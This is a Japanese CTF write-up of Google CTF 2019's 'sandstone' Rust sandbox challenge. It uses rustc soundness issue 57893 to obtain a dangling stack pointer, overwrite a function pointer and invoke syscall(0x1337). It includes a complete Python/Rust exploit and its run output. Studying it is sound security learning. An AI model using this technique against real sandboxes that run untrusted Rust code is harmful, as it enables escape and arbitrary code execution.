ctf
pwn
sandbox
rust
この記事は,CTF Advent Calendar 2019 の3日目の記事です.
2日目は私の「HITCON CTF 2019 Quals - dadadb Write-up (+ call/jmp tracer)」でした.
今回はGoogle CTF 2019 Qualsで出題された,sandstoneという問題について解説します.
この問題はrustのpwn問(sandbox問)ですが,私の知る限り,初めてガチのpwnが必要となった問題です(unsafeに作り込まれたバグ,みたいなよくあるrust問ではない).
大会中この問題はチラ見した程度で着手していなかったのですが,解いてみると非常に面白かったので,改めて紹介しようと思った次第です.
ファイルはこちらからDLできます.
Dockerfileが提供されているので,ローカルでテストする場合は環境を用意しておきましょう.
この問題はソースコードが提供されているので,バイナリを読む必要はありません.
読みやすいように,少しコメントを入れてみましょう.
図にまとめるとこんな感じです.
要は,ユーザの送ったコードがsandstone.rsとして保存され,ビルドされるとchildとして実行されます.
但し当然ながらユーザの送ったコードはサニタイズされ,以下の文字列を受け付けません.
!
という文字を受け付けない(マクロを受け付けない)
print!
とprintln!
だけは例外で,利用可能include!
やinclude_str!
やinclude_bytes!
は利用不可#
という文字を受け付けない(アトリビュートを受け付けない)libc
,unsafe
という文字列は受け付けないそして,ゴールはchildでsyscall(0x1337)を呼ぶことです(parentがptrace
でchildの発行するシステムコール番号を監視しています).
他のWrite-upを読んで知ったのですが,実はこの問題には脆弱性がありません.
つまり言語仕様だけをうまく使って,任意のシステムコールを呼ぶ必要があります.
しかしrustはメモリ管理が非常に強固な言語で,普通に考えれば(unsafe
宣言されたブロックを除いて)任意のシステムコールを呼ぶ方法はありません.ではどうすればよいのでしょうか.その答えは,既知の未解決なissueを探す,だそうです.
まずrustのgithubでissueページに飛びます.
https://github.com/rust-lang/rust/issues
ヤバい系の問題は,I-unsound(健全性の不備)というラベルが付けられているそうです.爆発マークまでついています.
数十件のissueが見つかりますが,このうち以下のissueが,今回悪用できるやつでした.
https://github.com/rust-lang/rust/issues/57893
issue 57893は,簡単に言うと「スタック上のダングリングポインタが手に入る」問題です.
issue 57893のPoCでは,非mut
なu64
を使っているためダングリングポインタを読み取り専用としていますが,これはmut
な[u64; SIZE]
にすることで,書き込み可能かつSIZE
個の要素を持つ配列へのダングリングポインタにすることができます.
以下は,わかりやすく説明を付与したメモです.
これを実行すると,次のようになります.
これで任意のリークと,スタック上の任意書き込みができるようになりました.
後は問題に適合する形にするだけです.つまりsyscall(0x1337)
を呼べば良いですね.具体的には,$rdi=0x1337
にしてからlibc.so
内にあるsyscall
へ飛ばす,ということになります.
さて最も簡単な方法は何でしょうか.
スタック上のリターンアドレスを上書きする?いいえ,できなくはないですが,思ったよりも多分面倒なのでやめておきましょう.一応理由を書いておくと,次のとおりです.
うまくいきそうではありますが,若干調整が面倒そうなのでもっと簡単な方法があればそちらが嬉しいですね.
少し考えたところ,もっと直感的でわかりやすい方法があったので,そちらを使うことにしました.スタック上に関数ポインタを配置し,その値を上書きしたあとに,func_ptr(0x1337)
を呼べばよいのです.
しかし,実際にやってみるとこちらも結構大変でした.理由はrust
の最適化です.
配布されたmain.rs
の中身を見てみましょう.build()
関数内で,--release
オプションがつけられています.
このbuild
オプションは結構厄介で,少なくとも次のような最適化がありました.
さて,では一つずつ回避していきましょう.
rust
の--release
ビルドでは,関数は最適化によりその多くがインライン化されます.
例えば,以下のコードは
以下のようになります.
この最適化はかなり強力で,多少長い関数であってもインライン化されてしまいます.しかし回避方法は存在します.それは,関数が再帰関数だった場合です.例えば以下の関数は,0x1000回再帰するので,インライン化するよりもそのままにしておいた方が効率が良いと判定されるはずです(ちゃんと調べたわけではないですが).
でも無駄に再帰させるのはそれこそ意味がないので,条件付きで再帰させるようにするのが良いでしょう.実行時まで動作が非決定的かつ,分岐の可否をコントロールできるような動きをするには,例えば環境変数を参照させる方法が良いでしょう.存在しない環境変数を参照させれば,必ず偽が返ります.
これで,最適化によるインライン化は回避できました.
次のようなコードはどう最適化がかかるでしょうか.関数ポインタdummy
を引数として渡しています.
実はビルドされたコードでは,関数ポインタdummy
はhoge()
の中に埋め込まれており,main
からの呼び出し時は引数としてなかったことにされてしまいます.
これがコードへの埋め込みによる最適化です.関数ポインタをスタックに保存させるには,どうすれば良いでしょうか.
試行錯誤した結果,以下でなんとかうまくいきました.コードの埋め込みは回避できませんでしたが,関数ポインタをスタック上に保存させることができました.
ここまで来たら,後は簡単ですね.スタック上に保存された関数ポインタを差し替えて,libc
内のsyscall
に向けるだけです.
#!/usr/bin/python
# -*- coding: utf-8 -*-
import struct, socket, sys, telnetlib
def sock(host, port):
s = socket.create_connection((host, port))
return s, s.makefile('rw', bufsize=0)
def read_until(f, delim='\n'):
data = ''
while not data.endswith(delim): data += f.read(1)
return data
def shell(s):
t = telnetlib.Telnet()
t.sock = s
t.interact()
HOST, PORT = "sandstone.ctfcompetition.com", 1337
s, f = sock(HOST, PORT)
code = """
{
//-------------------------------------------------------
// https://github.com/rust-lang/rust/issues/57893
const SIZE: usize = 0x30;
trait Object { type Output; }
trait Marker<'b> {}
impl<'b> Marker<'b> for dyn Object<Output=&'b mut [u64]> {
// nothing
}
impl<'b, T: Marker<'b> + ?Sized> Object for T {
type Output = &'static mut [u64];
}
fn foo<'a, 'b, T: Marker<'b> + ?Sized>(x: <T as Object>::Output) -> &'a mut [u64] {
x
}
fn transmute_lifetime<'a, 'b>(x: &'a mut [u64]) -> &'b mut [u64] {
foo::<dyn Object<Output=&'a mut [u64]>>(x)
}
fn get_dangling<'a>() -> &'a mut [u64] {
let mut x: [u64; SIZE] = [0; SIZE];
// avoid optimization
if let Ok(_) = std::env::var("AABB") {
return get_dangling(); // unreachable
}
transmute_lifetime(&mut x)
}
//-------------------------------------------------------
fn dump(r: & [u64]) {
for i in 0..SIZE {
if r[i] > 0 {
println!("{}: {:x}", i, r[i]);
}
}
// avoid optimization
if let Ok(_) = std::env::var("AABB") {
return dump(r); // unreachable
}
}
fn stack_smash(r: &mut [u64], round: i32, f: fn(usize), g: fn(usize)) {
let table : [fn(usize); 5];
// avoid optimization
if let Ok(_) = std::env::var("AABB") {
table = [g,g,g,g,g];
} else {
table = [f,f,f,f,f]; // must used
}
dump(&r); // show stack for debug
for i in 0..SIZE {
//r[i] = r[35] - 0x101e50/2; // local
r[i] = r[33] - 0x101e50/2; // remote
}
// avoid optimization
let idx: usize;
if let Ok(_) = std::env::var("AABB") {
idx = 0;
} else {
idx = 1; // must used
};
table[idx](0x1337); // call f
// avoid optimization
if let Ok(_) = std::env::var("AABB") {
stack_smash(r, round-1, f, g); // unreachable
}
}
fn dummy1(nr: usize) {
// avoid optimization
if let Ok(_) = std::env::var("AABB") {
dummy1(nr-1); // unreachable
}
}
fn dummy2(nr: usize) {
// avoid optimization
if let Ok(_) = std::env::var("AABB") {
dummy2(nr+1); // unreachable
}
}
fn exploit() {
let mut r = get_dangling();
stack_smash(&mut r, 0x13371337, dummy1, dummy2);
}
exploit()
}
"""
f.write(code)
s.shutdown(socket.SHUT_WR)
shell(s)
root@Ubuntu1804-64:~/ctf/GoogleCTF-2019/sandstone# py exp.py
Reading source until EOF...
3: 0
4: 7ffdd9b4b308
5: 2
6: 55595776a103
7: 55595776a1a0
8: 13371337
9: 55595775de13
10: 6
11: c
12: 7ffdd9b4b308
13: 555957768058
14: 7ffdd9b4b2c8
15: 55595773c4e2
17: 555957768058
18: 3
21: 7ffdd9b4b308
22: 2
23: 7ffdd9b4b240
24: 18
25: 7ffdd9b4b300
26: 55595775af50
27: 7ffdd9b4b318
28: 55595775ab10
29: 7ffdd9b4b240
30: 7ffdd934d000
31: 7ffdd934c000
32: 13371337
33: 7f6e67638120
35: 55595773c62f
36: 1
40: 55595773c850
41: 55595773c850
42: 55595773c850
43: 55595773c850
44: 55595773c850
46: 555958bb5a40
47: 7ffdd9b4b4f0
()
CTF{InT3ndEd_8yP45_w45_g1tHu8_c0m_Ru5t_l4Ng_Ru5t_1ssue5_31287}
*** Connection closed by remote host ***
root@Ubuntu1804-64:~/ctf/GoogleCTF-2019/sandstone#
尚,フラグ内にissue 31287を使えと書いてありますが,どうやらこれは運営のミスらしいとどこかで聞いた記憶があります(問題が出されたタイミングでは治っていた?).
rustでunsafeを使わずにpwnするのは不可能だと思っていましたが,既知の問題を利用すればできるということが分かりました.
今年のSECCONでもrust問が出たらしいですね(想定解はraceらしい).でもこのissueと使い方を知っていれば,簡単に解くことができるという発言をどこかでチラ見した記憶があります.探したら見つけましたので貼っておきます.
このissueは未だ治っていないので,今後ソースコードをアップロードするタイプのrust問なら,ほとんど使いまわしができそうですね.知っているのと知らないのでは大きく解答スピードに違いが出るため,ぜひ覚えておきましょう.